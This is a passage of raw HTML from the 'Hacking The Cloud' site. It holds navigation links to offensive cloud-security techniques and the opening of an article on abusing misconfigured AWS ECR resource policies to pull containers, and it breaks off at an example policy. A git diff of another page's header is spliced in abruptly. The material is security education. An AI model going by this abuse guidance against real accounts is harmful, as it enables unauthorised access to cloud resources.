href=../../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#understanding-ecrgetauthorizationtoken class=md-nav__link> <span class=md-ellipsis> Understanding ecr:GetAuthorizationToken </span> </a> </li> <li class=md-nav__item> <a href=#downloading-containers class=md-nav__link> <span class=md-ellipsis> Downloading Containers </span> </a> </li> <li class=md-nav__item> <a href=#uploading-containers class=md-nav__link> <span class=md-ellipsis> Uploading Containers </span> </a> </li> <li class=md-nav__item> <a href=#identification class=md-nav__link> <span class=md-ellipsis> Identification </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Abusing Misconfigured ECR Resource Policies</h1> <p>AWS Elastic Container Registry (ECR) <a href=https://docs.aws.amazon.com/AmazonECR/latest/userguide/Repositories.html>private repositories</a> use resource-based policies to delineate which entities are permitted to push and pull containers. As a result, it is possible for these policies to be <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ >misconfigured</a> and potentially abused. The following are some examples of possible misconfigurations and the required permissions needed to take advantage of them.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>Aside from the <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks>wildcard principal</a>, you should also be mindful of overbroad permissions in general, such as permitting an entire AWS account to have access.</p> </div> <h2 id=understanding-ecrgetauthorizationtoken>Understanding ecr:GetAuthorizationToken<a class=headerlink href=#understanding-ecrgetauthorizationtoken title="Permanent link">&para;</a></h2> <p>A unique <a href=https://docs.aws.amazon.com/AmazonECR/latest/userguide/repository-policies.html#repository-policy-vs-iam-policy>requirement</a> to abusing misconfigured resource-based policies in ECR is <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-authorization-token.html>ecr:GetAuthorizationToken</a>. The attacking entity must have this permission via an identity-based policy, it cannot be permitted via a resource-based policy (even if the <code>Action</code> element is <code>ecr:*</code>). For scenarios in which the policy has a <a href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks>wildcard principal</a> and a broken policy, this is not a problem as you can create a role with the needed permission.</p> <div class="admonition note"> <p class=admonition-title>Note</p> <p>When interacting with an ECR private repository via the <a href=https://github.com/docker/cli>Docker</a> cli, you use <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-login-password.html>ecr:GetLoginPassword</a> to authenticate. This calls <code>ecr:GetAuthorizationToken</code> to provide the needed authorization.</p> </div> <h2 id=downloading-containers>Downloading Containers<a class=headerlink href=#downloading-containers title="Permanent link">&para;</a></h2> <p><strong>Required Permissions</strong>: <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-login-password.html>ecr:GetLoginPassword</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/batch-get-image.html>ecr:BatchGetImage</a>, <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ecr/get-download-url-for-layer.html>ecr:GetDownloadURLForLayer</a>.</p> <p>As an example, take the following misconfigured resource policy for an ECR private repository.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>  </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>  </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>    </span><span class=p>{</span>
diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html
index a79a2948c..dee4cee4b 100644
--- a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html
+++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured role trust policies that have wildcard principals."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ rel=canonical><link href=../misconfigured_ecr_resource_policy/ rel=prev><link href=../../../avoiding-detection/guardduty-pentest/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured role trust policies that have wildcard principals."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured role trust policies that have wildcard principals."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured role trust policies that have wildcard principals."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ rel=canonical><link href=../misconfigured_ecr_resource_policy/ rel=prev><link href=../../../avoiding-detection/guardduty-pentest/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured role trust policies that have wildcard principals."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Misconfigured Role Trust Policies with a Wildcard Principal - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured role trust policies that have wildcard principals."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#role-trust-policies class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 